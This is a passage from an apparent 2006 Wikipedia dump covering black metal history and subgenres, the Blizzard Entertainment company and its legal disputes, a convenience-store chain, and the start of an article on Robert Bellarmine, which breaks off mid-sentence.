*Fast, aggressive [[drums]], often with [[blast beat]]s. At other times, the drums can take a slower role usually accompanied by a very dry and empty tone —especially for the effect of the atmosphere of the music.
*Occasional [[electronic keyboard]] use. The harpsichord, violin, organ, and choir settings are most common, which gives the music an orchestral feel or a cathedral-like setting. Some bands tend to use keyboards very frequently, whether it be as an instrument or even as the basis of their entire sound. They are generally placed under the [[symphonic black metal]] label.
*High-[[pitch (music)|pitched]]/distorted screeching [[vocals]]. Contrary to popular belief, these are not essential as there have been many black metal bands old and new employing different vocal styles.
*Swift [[percussion instrument|percussion]].
*Cold, dark, sad, melancholy, or gloomy atmosphere.

[[Image:Mayhem-DeMysteriisDomSathanas.jpg|thumb|Cover of &quot;De Mysteriis Dom Sathanas&quot; by Mayhem]]

An abraded, very [[low fidelity]] recording style is common in most black metal. Modern evolution of many of the older 'genre leading' bands have had a vast change in sound, and by many - and most of the times, even the band - are no longer considered black metal. Such examples include Mayhem's career that began mostly in the death/black roots, moved to almost pure black, then towards death again in their later career. Also, [[Satyricon (band)|Satyricon]] who started off as black metal but now play a very industrial heavy hybrid of the music. Modern offshoots of this original black metal sound have incorporated atmospheric elements using ambient guitar and keyboard passages such as organ sounds or other miscellaneous instruments.

A distinct (but not intrinsic) feature of the black metal is the use of [[corpse paint in heavy metal|corpse paint]], a special kind of black and white make-up which was used to make the wearer look like a decomposing corpse or plague victim. It should be noted that [[Immortal (band)|Immortal]] referred to their make-up as &quot;war paint&quot;, not carrying the same connotation as corpse paint. Another distinct feature of black metal is the use of dark or Satanic monikers pioneered by Venom (the original line up being Cronos, Mantas &amp; Abbadon). Examples of this are: Quorthon ([[Bathory]]), Darken ([[Graveland]]), Euronymous ([[Mayhem (band)|Mayhem]]), Goat, Count Grishnackh ([[Burzum]]), Fenriz ([[Darkthrone]]), Nergal, Inferno ([[Behemoth (band)|Behemoth]]), Zephyrous ([[Darkthrone]]), Frost ([[1349 (band)|1349]]), Abbath ([[Immortal (band)|Immortal]]), Demonaz ([[Immortal (band)|Immortal]]), Horgh ([[Immortal (band)|Immortal]]), Iscariah, Hellhammer ([[Mayhem (band)|Mayhem]]), Maniac ([[Mayhem (band)|Mayhem]]), Necrobutcher ([[Mayhem (band)|Mayhem]]), Blasphemer ([[Mayhem (band)|Mayhem]]), Dead ([[Mayhem (band)|Mayhem]]), Hoest, Ihsahn ([[Emperor (band)|Emperor]]), Samoth ([[Emperor (band)|Emperor]]), Faust ([[Emperor (band)|Emperor]]), Trym ([[Emperor (band)|Emperor]]), Nattefrost ([[Carpathian Forest]]), Nordavind and Tchort ([[Emperor (band)|Emperor]]), Malefic ([[Xasthur]]), Wrest ([[Leviathan (band)|Leviathan]]) to name a few.

Earlier bands tended to dwell on themes of fantasy, mythology, and folklore in their songs, as well as Satanism, darkness, evil, and so on as many of their direct musical and cultural roots included these topics.

== History ==

In the late 1980's and early 1990's, one of the most prominent figures of the Norwegian scene was [[Øystein Aarseth]], better known as Euronymous, the guitarist in Mayhem.

The scene was deeply anti-Christian: it had a stated goal of removing the influence of [[Christianity]] and other non-[[Scandinavia|Scandinavian]] religions from Norwegian culture and  effecting a return to the nation's [[Norse mythology|Norse]] roots. One minority current, associated with [[NSBM]], included an element of unashamed anti-Semitism. The movement was largely directed by an 'Inner Circle', made up of Aarseth and a few close friends, from the basement of Aarseth's record store, Helvete (''Hell''). That location also housed a recording studio, where records were made by [[Mayhem (band)|Mayhem]] and a number of other bands that were signed to Aarseth's [[Independent record label|independent label]], [[Deathlike Silence Productions]]. Deathlike Silence's stated goal was to release records by bands &quot;that incarnated evil in its most pure state.&quot; 

Also around this time, there was a rash of [[arson]]s directed at Christian churches in Norway—many of the buildings were hundreds of years old, and widely regarded as important historical landmarks—that Aarseth's circle claimed responsibility for inspiring, if not necessarily perpetrating. The most notable church was Norway's [[Fantoft stave church]], which was burned by a member of Euronymous's inner circle; the man behind the one-man band [[Burzum]], [[Varg Vikernes]], aka &quot;[[Count Grishnackh]]&quot;, who also played bass guitar for [[Mayhem (band)|Mayhem]]. Black metal enthusiasts also started to terrorize other notable &quot;death metal&quot; bands that were touring their country or in neighboring countries, on the basis of their lack of apparent &quot;evilness&quot;.  Many recall a strong Swedish death metal and Norwegian black metal rivalry.

The black metal scene gained some unsought [[mass media]] attention in [[1991]] when Mayhem's frontman [[Per Yngve Ohlin|Dead]] committed [[suicide]] by a [[shotgun]] blast to his head. His note simply read &quot;Excuse all the blood&quot;. The ammunition was supplied by [[Varg Vikernes]].

His body was discovered by Aarseth who, instead of calling the police, ran to a nearby convenience store and bought a disposable camera which he used to photograph the corpse for a future Mayhem album cover ([[Dawn of the Black Hearts]]).  Apocryphal reports also claim that he then took some pieces of Dead's splattered brains and made a stew out of them and/or members of the band took bone fragments from their friend's skull and made necklaces out of them.

The 'Inner Circle' received even more exposure in [[1993]], when Vikernes killed Aarseth in Aarseth's home, stabbing him 23 times, although Vikernes claims that Aarseth fell on broken glass while running from him and that he really stabbed him only 4 or 5 times. The circumstances surrounding the reason for the murder are not entirely clear, but have mainly been attributed to ideological differences and a power struggle between Vikernes and Aarseth. Vikernes claimed that Aarseth had plotted to kill him and that the killing was committed in partial self-defence. Vikernes also claimed that there was a financial dispute over the profits from Burzum's first two full-length records (Burzum and Det Som Engang Var) as well as the first Burzum EP (Aske) that were released through Aarseth's record label, Deathlike Silence Records. Some sources say that Aarseth intentionally delayed the release of Burzum's records, because Burzum was getting more attention than Mayhem. Vikernes was sentenced to 21 years in prison and has since distanced himself from the black metal movement, becoming involved in the [[Neo-Nazi]] movement and writing extensively on the subject. Many credit Vikernes' professed beliefs as contributing to the rise of [[National Socialist black metal]], a variant that employs the genre's typically Nordic, Pagan, and anti-Christian themes as an expression of [[White Power]] ideology. While in prison, Vikernes has released two albums of a much more ambient and electronic kind of music, ''Dauði Baldrs'' in 1997 and ''Hliðskjálf'' in 1999, although he implied in a recent interview that he would write material similar to his older works upon his release from prison.

By the last few years of the 1990s, the black metal scene had lost much of the violence that seemed to be attached to it in the early days of the scene. Also, bands begun to make records with higher production-quality.

However, since the mid-90s, an Eastern European black metal scene has been developing. Bands from these former Iron Curtain lands are recording albums more in keeping with the primitive nature of the early Norwegian artists. Many of these bands' lyrics glorify the [[Paganism|pagan]] roots of their home countries, occasionally injecting elements of indigenous folk music into their arrangements. The [[Latvia|Latvian]] band [[Skyforger]] is a prime example of this new aesthetic. The black metal scene in [[Russia]] and [[Ukraine]] has produced many bands more in keeping with the carefully arranged sounds coming from Scandinavia, but with more appreciation for the low fidelity aesthetic of early black metal. The [[Czech Republic|Czech]] band [[Trollech]] are a perfect example of the &quot;old-school&quot; Pagan black metal band. The Ukrainian neo-Nazi [[Nokturnal Mortum]] has achieved very large recognition in the west; their earlier albums relied heavily on synthesizers, but their current work has a grimmer, more abrasive feel flavored with [[Slavic peoples|Slavic]] folk instruments. [[Poland]]'s neo-Nazi band [[Graveland]] has, in recent albums, striven for a 'medieval' feel, much like a much more developed version of later 'viking' Bathory albums, but in the past made much rawer music which still held a certain intangible folk flavor. From [[Romania]], [[Negură Bunget]] is a prime example of traditional black metal, injecting their own indigenous mix of [[Dacian]] and Latin elements, along with a Scandinavian sound. Also, notable are Serbian elite bands - The Stone and May Result.
There is also a growing number of American bands playing black metal (sometimes called USBM bands). This movement has not taken a particularly clear form, but better-known groups are [[Typhus]], [[Fog]], [[Judas Iscariot (music)|Judas Iscariot]], [[Absu (music)|Absu]], [[Krieg (music)|Krieg]], [[Grand Belial's Key]], [[Goatwhore]], [[Kult ov Azazel]], [[Choronzon (Music project)]], [[Xasthur]], [[Leviathan band|Leviathan]], and the death metal-influenced [[Acheron (band)|Acheron]] and [[Averse Sefira]].

==Literature==
* [[Michael Moynihan (journalist)|Michael Moynihan]], ''[[Lords of Chaos|Lords of Chaos: The Bloody Rise of the Satanic Metal Underground]]'' ([http://www.feralhouse.com/ Feral House]) ISBN 0922915482

==Subforms==

===Troll Metal===
Most would agree that this is a sub-genre of goth.

'''Troll metal''' is a term used to group [[black metal]] bands, and bands rooted in black metal, that deal with lyrical themes and imagery about [[troll]]s, [[goblin]]s and other related subjects that are closely related to those of [[Power Metal]].

There are three important bands of this form of black metal: [[Finntroll]], [[Mortiis]], and [[Arckanum]]. Whilst serving as a good form of black metal for these bands to expand their musical style, they usually try to stay close to their usual lyrics. It is for the aforementioned reason that the three major bands sound so different: Mortiis, with a medieval ambient sound (no longer as current); Arckanum, with a pretty simple black metal sound, only with troll themed lyrics; and Finntroll with mixture of black metal and [[polka]].

In most songs of Finntroll, [[Troll|trolls]] relate their hate of humans, especially [[Christianity|Christians]], which is for them a plague to eradicate, usually by eating them. They relate how they prepare for battles without fear, arming themselves with axes and subsequently how much humans should fear them. They also tell about their [[rite]]s and [[belief]]s, and thematically live in the north and humans in the south (as trolls come from the [[Scandinavian folklore]] and most troll metal bands are from [[Nordic countries]]). Trolls also seem to have a '[[Monarch|King]]' and a '[[Lord]]' that is referenced in lyrics.

Finntroll's album covers represent trolls with very different physical appearances. One is green and looks strong and tall, one's skin is gray-blue and has a pointy nose and ears, making him look [[elf|elven]], one looks like a [[dwarf]], and others are smaller, strong, green, with big noses and pointy and hairy ears.

Troll metal is sometimes called '''forest metal''', since trolls live in forests and sounds of forests are common place in songs.

Notable troll metal bands include [[Arckanum]], [[Finntroll]], [[Gotmoor]], [[Mortiis]], [[Mystifier]], [[Taur Nu Fuin]], [[Troll (band)|Troll]], [[Trollkotze]], [[Trollheims Grott]], [[Trollfest]].

=== War Metal ===
'''War Metal''' is a [[black metal]] offshoot sub-genre that, since the release of a now infamous split between the bands [[Black Witchery]] and [[Conqueror (band)|Conqueror]], has been used to describe a certain sound; although the title was first coined by [[Bestial Warlust]] on their 1994 debut ''Vengeance War 'Till Death'' (wherein they describe themselves as Satanic War Metal). The style picks out a unique mixture of black metal, [[death metal]], and [[grindcore]]. The prime aesthetic of war metal is to present an audial image of war, using buzzsaw guitars, brutal blasting drums, and screeched vocals reminiscent of a war command. Musically, the dubious sub-genre differs much from most other metal stylings, as the guitar riffing is intended more to present a noisy brutal ambiance (often there will not be any 'real' riffing).

Lyrically, war metal bands almost always leans towards [[Satanic]] or [[anti-Christian]] ideals, and without fail always refer to [[war]]; with topics including genocide, nuclear warfare, holocaust, death, ending humanity and/or life, tanks, and related topics. The visual aesthetics are similar. 

Many prefer not to use the genre name because they consider it superfluous; some war metal bands can be considered [[blackened death metal]]. Moreover, it is contended that it is a very minimalistic and non-expansive style, and given the small amount of bands that play it, it therefore ought not have its own distinct genre-name. 

Although the phrase was coined by Bestial Warlust, most look towards Canada's [[Blasphemy (band)|Blasphemy]] and Brazil's [[Sarcofago]] as the fathers of the sub-genre. Blasphemy, however, was the first to play it as it is known today. They dubbed themselves Black Metal Skinheads, opting for a more warlike image than the corpsepainted black metal bands of their age. Blasphemy also wrote music in the stylings as described above, and their 1990 debut album ''Fallen Angel of Doom'' is to war metal as [[Mayhem]]'s ''[[De Mysteriis Dom Sathanas]]'' is to black metal.

War metal is often associated with [[Canada]] because of native bands Blasphemy and Conqueror, and many others that originated there.

==Black metal controversy in Malaysia==
In Malaysia, the government blames black metal music for a number of social problems, such as anti-social behavior.  The government believes the music causes teens to become disrespectful to parents and elderly, as well as lowering their respect for religion. The music was also deemed to be responsible for crime-related cases such as gang fights. As a result, the government has announced that it will ban black metal, and now does not provide permits to foreign bands unless they first submit their music to the government for approval.

Previously, the government has conducted &quot;strip searches&quot; looking for [[Tattoo|tattoos]] of inverted crucifixes of students.  Those found with these symbols or others deemed to be related to black metal music are detained and then forced into &quot;treatment&quot; which included counselling, rehabilitation and ingestion of an herbal medicine — administered by a private drug company — to “stimulate thinking” (BBC, August 13, 2001).

==See also==
* [[List of black metal bands]]
* [[List of black metal fanzines]]

==External links==
*[http://www.hmas.org/ HMAS] - Heavy Metal Appreciation Society
*[http://www.anus.com/metal Anus.com Metal] - writings on heavy metal with a focus on black and death metal: reviews, history, philosophy, and articles
*[http://www.blackmetal.co.uk/ BlackMetal.co.uk] - UK Black Metal Resource.
*[http://www.BlackMetalRadio.com/ Black Metal Radio] - BMR

{{Heavymetal}}

[[Category:Metal subgenres]]
[[Category:Black metal|*]]
[[Category:Transgressive art]]

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    </revision>
  </page>
  <page>
    <title>Bin Laden</title>
    <id>4875</id>
    <revision>
      <id>35939020</id>
      <timestamp>2006-01-20T10:38:09Z</timestamp>
      <contributor>
        <username>Commander Keane</username>
        <id>169380</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/82.237.141.43|82.237.141.43]] ([[User talk:82.237.141.43|talk]]) to last version by Fire Star</comment>
      <text xml:space="preserve">{{lowercase|title=bin Laden}}

The name '''bin Laden''' may refer to:

* the '''[[bin Laden family]]'''
** '''[[Osama bin Laden]]'''

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Blizzard Entertainment</title>
    <id>4876</id>
    <revision>
      <id>41914871</id>
      <timestamp>2006-03-02T16:14:19Z</timestamp>
      <contributor>
        <ip>70.48.249.161</ip>
      </contributor>
      <comment>/* Trivia */</comment>
      <text xml:space="preserve">{{Infobox Company |
  company_name = Blizzard Entertainment|
  company_logo = [[Image:Blizzard_Entertainment-Logo.png|right|250px|Blizzard Entertainment logo]] |
  company_slogan = N/A |
  company_type   = [[Private company|Private]]&lt;/br&gt;(subsidiary of [[Vivendi Universal]]) |
  foundation =  1991 |
  location =  [[Irvine, California|Irvine]], [[California|CA]] |
  industry = [[Computer and video game industry]] |
  revenue =  |
  num_employees = More than 250 |
  key_people = [[Mike Morhaime]] (president and co-founder) |
  products =  [[Rock &amp; Roll Racing]] (as ''Silicon &amp; Synapse'')&lt;br&gt;[[The Lost Vikings]] (as ''Silicon &amp; Synapse'')&lt;br&gt;[[Warcraft Universe|The Warcraft series]]&lt;br&gt;[[StarCraft universe|The StarCraft series]]&lt;br&gt;[[Diablo universe|The Diablo series]]&lt;br&gt;(full list in article) |
  homepage = [http://www.blizzard.com Blizzard.com] |
}}

'''Blizzard Entertainment''' is a [[computer game|PC game]] [[video game developer|developer]] and [[video game publisher|publisher]]. Since its release of ''[[Warcraft]]'' in 1994, it has been one of the most successful game development studios in the world. Its headquarters are based in [[Irvine, California]]. The company has a history of largely overshooting release dates. However, many Blizzard fans see this as somewhat of a blessing in disguise, as Blizzard has a reputation for producing classic games that are played for years to come.  Blizzard also has a reputation for taking fierce legal action against anyone who reverse engineers their software, copies their game concepts, or publishes third-party server software that is compatible with their games.

==Overview==
Blizzard Entertainment was founded in February, 1991 as ''Silicon &amp; Synapse'' by [[Mike Morhaime]], [[Allen Adham]] and [[Frank Pearce]]. The company developed games like ''[[Rock &amp; Roll Racing]]'' and ''[[The Lost Vikings]]'' (published by [[Interplay Productions]]).  In 1994, the company briefly changed its name to Chaos Studios, before finally settling on Blizzard Entertainment after it was discovered that another company with the Chaos name already existed.  That same year, they were acquired by distributor [[Davidson &amp; Associates]] for under [[United States dollar|$]]10 million.  Shortly thereafter, Blizzard shipped their breakthrough hit ''[[Warcraft]]''.

Blizzard has changed hands several times since then: Davidson was acquired by a timeshare company called [[CUC International]] in 1996; CUC then merged with a hotel, real-estate, and car-rental franchiser called [[HFS Corporation]] to form [[Cendant Software]], in 1997.  In 1998 it became apparent that CUC had engaged in accounting fraud for years before the merger; Cendant's stock lost 80% of its value over the next six months in the ensuing widely discussed accounting scandal.  The company sold its consumer software operations, including Blizzard, to [[France|French]] publisher [[Havas]] in 1998, the same year Havas was purchased by [[Vivendi SA|Vivendi]].  Blizzard is now part of the VU Games group of [[Vivendi Universal]].

In 1996, Blizzard acquired Condor Games, which had been working on the game ''[[Diablo (computer game)|Diablo]]'' for Blizzard at the time.  Condor was renamed [[Blizzard North]], and has since developed hit games ''[[Diablo (computer game)|Diablo]]'', ''[[Diablo II]]'', and its expansion pack ''[[Diablo II: Lord of Destruction]]''.  Blizzard North is located in [[San Mateo, California]].

Blizzard launched their online gaming service ''[[Battle.net]]'' in January of 1997 with the release of their action-[[Computer role-playing game|RPG]] ''Diablo''.

On November 23, 2004, Blizzard released [[World of Warcraft]], which has quickly grown to become one of the most popular [[MMORPG]]s in history.

On May 16, 2005, Blizzard announced the [[acquisition]] of [[Swingin' Ape]], a [[console games|console]] game maker, which is now ''Blizzard Console'', currently working on ''[[Starcraft: Ghost]]''.

On August 1, 2005, Blizzard announced the [[consolidation]] of [[Blizzard North]] into the headquarters in [[Irvine, California]].

==Titles==
*''[http://www.mobygames.com/browse/games/blizzard-entertainment-inc/offset,0/so,1a/list-games/ The Lord of the Rings]'' (1990) - [[Computer role-playing game|RPG]]
*''[[The Lost Vikings]]'' (1992) - [[platform game]]
*''[[Rock &amp; Roll Racing]]'' (1993) - racing game
*''[[Blackthorne]]'' ([[1994]]) - fantasy platform game
*''The Death and Return of [[Superman]]'' (1994) - side-scrolling [[beat 'em up]]
*''[[Warcraft]]'' (1994) - fantasy [[real-time strategy game]]
*''[[Justice League Task Force]]'' (1995) - one-on-one [[fighting game]]
*''[[The Lost Vikings II]]'' (1995) - platform game
*''[[Warcraft II]]'' (1995) - fantasy real-time strategy game
*''[[Warcraft II|Warcraft II: Beyond the Dark Portal]]'' (1996) - [[expansion pack]]
*''[[Diablo (computer game)|Diablo]]'' (1996) - action-oriented [[computer role-playing game]]
*''[[Diablo: Hellfire]]'' (1997) - [[expansion pack]] (co-created by Sierra Studios)
*''[[StarCraft]]'' (1998) - [[science fiction]] real-time strategy game
*''[[StarCraft: Brood War]]'' (1998) - [[expansion pack]]
*''[[Diablo II]]'' (2000) - action-oriented RPG
*''[[Diablo II: Lord of Destruction]]'' (2001) - [[expansion pack]]
*''[[Warcraft III|Warcraft III: Reign of Chaos]]'' (2002) - fantasy real-time strategy game
*''[[Warcraft III: The Frozen Throne]]'' (2003) - expansion pack
*''[[World of Warcraft]]'' (2004) - [[MMORPG]] set in the Warcraft universe
[[As of 2006]], Blizzard is currently overseeing development on a stealth action game called ''[[StarCraft: Ghost]]'', by Blizzard Console. It is also working on an expansion to the highly successful ''World of Warcraft'' called ''[[World of Warcraft: The Burning Crusade]]''. Both games are expected to be released in December 2006.

==Bnetd==
A group of gamers [[reverse engineering|reverse engineered]] the network protocol used by Battle.net and Blizzard games, and released a free (under the [[GNU General Public License|GNU GPL]]) Battle.net emulation package called [[bnetd]]. With bnetd, a gamer is not required to use the official Battle.net servers to play Blizzard games.

In February of 2002, lawyers retained by Blizzard threatened legal action under the [[DMCA|Digital Millennium Copyright Act]] against the developers of bnetd. Blizzard games are designed to operate online exclusively with a set of Blizzard-controlled servers collectively known as &quot;[[Battle.net]]&quot;. Battle.net servers include a [[CD key]] check as a means of preventing [[software piracy]].  

Despite offers from the bnetd developers to integrate Blizzard's CD key checking system into bnetd, Blizzard claims that the public availability of any such software package facilitates piracy, and moved to have the bnetd project shut down under provisions of the DMCA. As this case is one of the first major test cases for the DMCA, the [[Electronic Frontier Foundation]] became involved, for a while negotiations were ongoing to resolve the case without a trial. The negotiations failed however, and Blizzard won the case on all counts: the defendants were ruled to have breached both StarCraft's [[End User License Agreement]] (EULA) and the [[Terms of Use]] of Battle.net.

This decision was appealed to the [[Eighth Circuit Court of Appeals]], which also ruled in favor of Blizzard/Vivendi on September 1 2005.

[http://www.eff.org/IP/Emulation/Blizzard_v_bnetd/ Details on the EFF website]

[http://blizzard.com/press/041008.shtml Blizzard's Press Release]

==[[FreeCraft]]==
On [[June 20]] [[2003]], Blizzard issued a [[cease and desist]] letter to the developers of an [[open source]] clone of the Warcraft engine called ''FreeCraft''. This hobby project had the same gameplay and characters as ''Warcraft II'', but came with different graphics and music. It was written from scratch and no Blizzard code was used.

As well as a similar name, ''FreeCraft'' enabled gamers to use ''Warcraft II'' graphics, provided they had the ''Warcraft II'' CD. The programmers of the clone shut down their site without challenge. Soon after that the developers regrouped to continue the work by the name of ''[[Stratagus]]''.

==Warden Client==
Blizzard has made use of a special form of [[Software|software]] known as the 'Warden Client' in order to detect the use of third-party programs used for the purpose of [[cheating]].  The Warden client scans the [[Process (computing)|process names]], window titles, and a small portion of the [[code segment]] of running processes in order to determine whether any of these third-party programs are running.  This determination is made by [[Hash function|hashing]] the scanned [[String (computer science)|strings]] and comparing the hashed value to a list of hashes known to correspond to cheat programs.  The Warden client is known to be used with Blizzard's [[World of Warcraft]] [[MMORPG|online game]].

The Warden software has run afoul of controversy among some [[privacy]] advocates.  Since Warden scans running processes other than the World of Warcraft game, and could possibly run across e-mail addresses, instant messenger IDs, and [[personally identifiable information]], privacy advocates and others state that Warden behaves similarly to [[spyware]].  However, many World of Warcraft players note that only hashed strings are compared, and no personally identifiable information is transmitted back to Blizzard; moreover, all players consent, via the [[EULA]] and [[terms of use]], to the Warden software performing these scans while World of Warcraft is running.  Supporters of the Warden software claim that, instead of being spyware, Warden behaves more like [[anti-virus software]], except that instead of detecting [[viruses]], Warden detects third-party cheat programs, and thus helps to prevent cheating within the game.

* [http://www.wowsharp.net/forums/viewtopic.php?t=7024 Technical description of Warden] on the forums of the WoW!Sharp third-party software development forums

* [http://www.worldofwarcraft.com/legal/termsofuse.html World of Warcraft Terms of Use] (See section 13.A)

==Trivia==
{{spoilers}}
* The phrase &quot;There is no cow level&quot; is a running joke started by the company's game designers stemming from repeated rumors on Battle.net that a &quot;secret cow level&quot; existed in ''Diablo''. The phrase &quot;There is no cow level&quot; was a cheat code in the original ''Starcraft'' game. In ''Diablo II'', a cow level was made as a secret level. &quot;There is no cow level&quot; now also appears as a 'tip of the day' on the loading screen of World of Warcraft.
* In Blizzard's [[real-time strategy]] games (the ''Starcraft'' and ''Warcraft'' series), clicking on a character repeatedly will invoke humorous sound bites, with some of the most famous including the Orc Grunt's &quot;Stop poking me!&quot; or the Human Footman's &quot;Are you ''still'' touching me?&quot;. Blizzard most likely took note of this, because in ''Warcraft III'' the same units said similar things such as &quot;Why are you poking me again?&quot; and &quot;Poke poke poke, is that all you do?&quot;. Many of the humourous phrases came from movies and comics, like the famous &quot;Help! Help! I'm being repressed!&quot; from [[Monty Python and the Holy Grail]], or &quot;Spider's sense... tingling&quot; from [[Spider-Man]].
* In the ''Warcraft'' series, clicking on a &quot;critter&quot; repeatedly about 20 times will make it explode semi-violently.
* In Blizzard's MMORPG game (''World of Warcraft''), clicking on a friendly NPC repeatedly will invoke humorous sound bites, with the most famous being the gnome's &quot;Blah blah blah blah blah.&quot;
* The ''Starcraft cheat'' &quot;operation cwal&quot; was formed after a group, who looked forward to the release of ''Starcraft'' and did many things to prove how much they loved ''Starcraft.'' Blizzard, noticing this group, named a cheat after them which stands for &quot;can't wait any longer.&quot; Primarily the group wrote fan fiction about special operatives raiding the Blizzard headquarters in order to free the game.
* The games ''Starcraft'' and ''Warcraft'' are rumored to be based on the tabletop wargames ''Warhammer'' and ''Warhammer 40,000''; it is rumored that Warcraft was supposed to be a Warhammer PC game in development but a fall out between UK-based [[Games Workshop]], the creators of the two tabletop games, and Blizzard occured. One link to this rumor can be found in ''Warcraft III''; if a griffon rider is repeatedly clicked, he would eventually say &quot;This Warhammer cost me 40K.&quot;
* The three founders of the company are UCLA graduates.  This is likely the reason why typing in &quot;UCLA&quot; as a cheat code in Warcraft II causes the words &quot;Go Bruins!&quot; to be displayed on the screen.

==See also==
* [[BlizzCon]]
* [[Blizzard North]]

==External links==
*[http://www.blizzard.com Blizzard's website]
*[http://www.battle.net Battle.Net website]
*[http://www.worldofwarcraft.com World of Warcraft community website]
*[http://www.blizzard.com/press/acquisition.shtml Press release announcing their acquiring of Swingin' Ape]
*[http://www.cwal.net/ Operation CWAL]

===The Bnetd case===
*[http://www.battle.net/support/emulationfaq.shtml Blizzard's official statement on battle.net emulators]
*[http://www.visi.com/~tneu/blizzard.html A rebuttal to Blizzard's official emulation statement]
*[http://research.yale.edu/lawmeme/modules.php?name=News&amp;file=article&amp;sid=149 Yale LawMeme's analysis of the case]
*[http://www.eff.org/IP/Emulation/Blizzard_v_bnetd/ EFF page on case]

{{Blizzard}}

[[Category:Computer and video game companies]]
[[Category:Blizzard Entertainment]]
[[Category:1991 establishments]]

[[bg:Blizzard Entertainment]]
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[[da:Blizzard Entertainment]]
[[de:Blizzard Entertainment]]
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[[zh:暴雪娛樂]]</text>
    </revision>
  </page>
  <page>
    <title>Beckers Milk</title>
    <id>4877</id>
    <revision>
      <id>38964967</id>
      <timestamp>2006-02-09T20:49:16Z</timestamp>
      <contributor>
        <ip>24.139.30.75</ip>
      </contributor>
      <text xml:space="preserve">'''Becker's Milk''' is a franchised chain of [[convenience store]]s in [[Ontario]], [[Canada]]. 

Becker's was acquired by Silcorp, parent company of rival [[Mac's Convenience Stores]] in the 1990s.  Silcorp itself was acquired by [[Alimentation Couche-Tard]] in 1999.  Since that merger, the Becker's name is being slowly retired, as Couche-Tard focuses on its core Mac's banner.

[[Category:Convenience stores]]
[[Category:Retail companies of Canada]]

[[fr:Beckers Milk]]</text>
    </revision>
  </page>
  <page>
    <title>Robert Bellarmine</title>
    <id>4878</id>
    <revision>
      <id>41738518</id>
      <timestamp>2006-03-01T11:34:11Z</timestamp>
      <contributor>
        <username>Ze miguel</username>
        <id>457631</id>
      </contributor>
      <comment>Added quote</comment>
      <text xml:space="preserve">:''This article is about Robert Bellarmine, the Catholic Saint.  For the Louisville, Kentucky college, see '''[[Bellarmine University]]'''. For the San Jose, California boys' high school, see '''[[Bellarmine College Preparatory]]'''.''

{{NPOV}}

'''Roberto Francesco Romolo Cardinal Bellarmino''' ('''Saint Robert Bellarmine'''), a [[Saint]] and [[Cardinal (Catholicism)|Cardinal]] of the [[Roman Catholic Church]], was born
at [[Montepulciano]] in [[Tuscany]], [[Italy]], [[October 4]], [[1542]]; died in [[Rome]] [[September 17]], [[1621]].  He is one of only 33 [[Doctor of the Church|Doctors of the Church]].

[[Image:Bellarmine 3.jpg|right|frame|St. Robert Cardinal Bellarmine]]

He was a nephew of [[Pope Marcellus II]], and came of a noble though impoverished family. His abilities showed themselves early; as a boy he knew [[Virgil]] by heart, and composed a number of poems in [[Italian language|Italian]] and [[Latin]]; one of his hymns, on [[Mary Magdalene]], is included in the Roman Catholic [[breviary]]. 

His father destined him for a political career, hoping that he might restore the fallen glories of the house; but his mother wished him to enter the [[Society of Jesus|Jesuits]], and her influence prevailed.  He entered the Roman novitiate in [[1560]], remained in Rome three years, and then went to a Jesuit house at [[Mondovi]], in [[Piedmont (Italy)|Piedmont]]. Here he learned [[Greek language|Greek]], and taught it as fast as he learned it.  

His systematic study of [[theology]] began at [[Padua]] in [[1567]] and [[1568]], where
his teachers were [[Thomism|Thomists]]. But in 1569 he was sent to finish it at Louvain, where he could obtain a fuller acquaintance with the prevailing heresies. Having been ordained there, he quickly obtained a reputation both as a professor and a preacher, in the latter capacity drawing to his pulpit both Catholics and Protestants, even from distant parts. 

He was the first Jesuit to teach at the university, where the subject of his course was the ''Summa'' of  [[Thomas Aquinas]]; he also made extensive studies in the Fathers and medieval theologians, which gave him the material for his book ''De scriptoribus ecclesiasticis'' (Rome, 1613), which was later revised and enlarged by [[Sirmond]], [[Labbeus]], and [[Oudin]]. 

==In Rome - The ''Disputationes''==

Bellarmine's residence in Leuven lasted seven
years. His health was undermined by study and
asceticism, and in [[1576]] he made a journey to Italy to restore it. Here he was detained by the commission given him by [[Pope Gregory XIII]] to lecture on polemical theology in the new Roman College.

He devoted eleven years to this work, out of whose activities grew his celebrated ''Disputationes de controversiis christianae fidei'', first published at [[Ingolstadt]], 4 vols., [[1581]]-[[1593]]. It occupies in the field of dogmatics the same place as the ''Annales'' of Baronius in the field of history.  This monumental work was the earliest attempt to systematize the various controversies of the time, and made an immense impression throughout Europe, the blow it dealt to Protestantism being so acutely felt in Germany and England that special chairs were founded in order to provide replies to it. Nor has it even yet been superseded as the classical book on its subject-matter, though, as was to be expected, the progress of criticism has impaired the value of some of its historical arguments. 

Both were the fruits of the great revival in [[religion]] and learning which the Catholic Church had witnessed since [[1540]]. Both bear the stamp of their period; the effort for literary elegance (so-called &quot;maraviglia&quot;), which was considered the principal thing at the beginning of the [[sixteenth century]], had given place to a desire to pile up as much material as possible, to embrace the whole field of human knowledge, and incorporate it into theology. 
 

The first volume treats of the Word of [[God]], of [[Christ]], and of the [[pope]]; the second of the authority of [[Ecumenical council|councils]], and of the Church, whether militant, expectant, or triumphant; the third of the [[sacrament]]s; and the fourth of [[Divine grace|grace]], [[free will]], [[justification (theology)|justification]], and [[good works]]. 

The most important part of the work is contained in the five books on the Catholic pontiff.  In these, after a speculative introduction on forms of [[government]] in general, holding [[monarchy]] to be relatively the best, he says that a monarchical government and the related [[temporal power]] are necessary for the Church, to preserve unity and order in it.  

Such power he considers to have been established by the commission of Christ to [[St. Peter|Peter]]. He then proceeds to demonstrate that this power has been transmitted to the successors of Peter, admitting that a heretical pope may be freely judged and deposed by the Church since by the very fact of his [[heresy]] he would cease to be pope, or even a member of the Church; this is almost like an echo of the great councils of the [[fifteenth century]]. 

The third section discusses the [[antichrist]]; Bellarmine gives in full the theory set forth by the [[Church Fathers|Greek and Latin Fathers]], of a personal Antichrist to come just before the end of the world and to be accepted by the [[Jew]]s and enthroned in the [[Temple in Jerusalem|temple]] at [[Jerusalem]] &amp;mdash; thus endeavoring to dispose of the Protestant exposition which saw Antichrist in the pope. 

The fourth section sets forth the pope as the supreme judge in matters of faith and morals, though making the concessions (confirmed indeed by the [[First Vatican Council]]) that the pope may err in questions of fact which may be known by ordinary human knowledge, and also when he speaks as a mere unofficial theologian, ''doctor privatus''. 

His assertions are much more unbounded in the last part, which treats of the pope's power in secular matters. While he says that the pope has no direct jurisdiction in such things, he yet stoutly contends for the power of deposing kings, absolving subjects from their allegiance, and altering civil laws, when these actions are necessary for the good of the souls committed
